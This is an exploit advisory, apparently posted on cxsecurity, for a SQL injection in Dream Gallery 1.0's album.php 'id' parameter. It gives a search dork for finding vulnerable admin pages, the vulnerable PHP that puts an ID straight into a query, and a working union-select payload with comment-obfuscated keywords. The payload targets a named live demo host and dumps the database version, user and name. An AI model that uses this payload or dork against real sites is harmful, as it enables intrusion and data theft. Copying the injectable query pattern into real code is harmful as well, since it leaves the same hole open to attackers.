Dream Gallery 1.0 SQL Injection

2016.01.12
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

[+] Sql Injection on Dream Gallery v1.0 [+] Date: 10/01/2016 [+] Risk: High [+] CWE Number : CWE-89 [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://clareslab.com.br/ [+] Software Demo : http://clareslab.com.br/dream/ [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Gnu/Linux [+] Dork: intitle:"Dream Gallery - Admin" // use your brain ;) [+] Admin Page: http://host/admin/ [+] Exploit : http://host/patch//album.php?id= [SQL Injection] [+] Vulnerable File : <?php $db->query( "select * from albuns order by album_name asc" )->fetchAll(); if ( $db->rows >= 1 ) { $albuns = $db->data; foreach ( $albuns as $album ) { $a = ( object ) $album; $db->query( "select * from fotos where foto_album = $a->album_id order by foto_pos asc" )->fetchAll(); if ( $db->rows >= 1 ) { $f = ( object ) $db->data[0]; ?> <div class="box-detail box-alb" id="<?= $a->album_id ?>"> <div class="box-inner-alb"> <a href="album.php?id=<?= $a->album_id ?>" caption="<?= utf8_decode( $a->album_name ) ?>"> <img src="thumb.php?img=fotos/<?= $f->foto_url ?>" /> <div class="box-inner-fx"> <h2><?= utf8_decode( $a->album_name ) ?></h2> </div> </a> </div> <div class="box-bottom"> <div class="box-bottom-right-photo"><?= $db->rows ?> foto(s)</div> </div> </div> <?php } } } ?> [+] PoC : http://clareslab.com.br/dream/album.php ?id=658+and+1*2*3=6+and+0+/*!12345union*/+/*!12345select*/+1,group_concat(0x53716c20496e6a656374696f6e20447265616d2047616c6c657279202d2046656c69706520416e647269616e20506569786f746f,0x3c62723e,version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10--+ [+] EOF


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top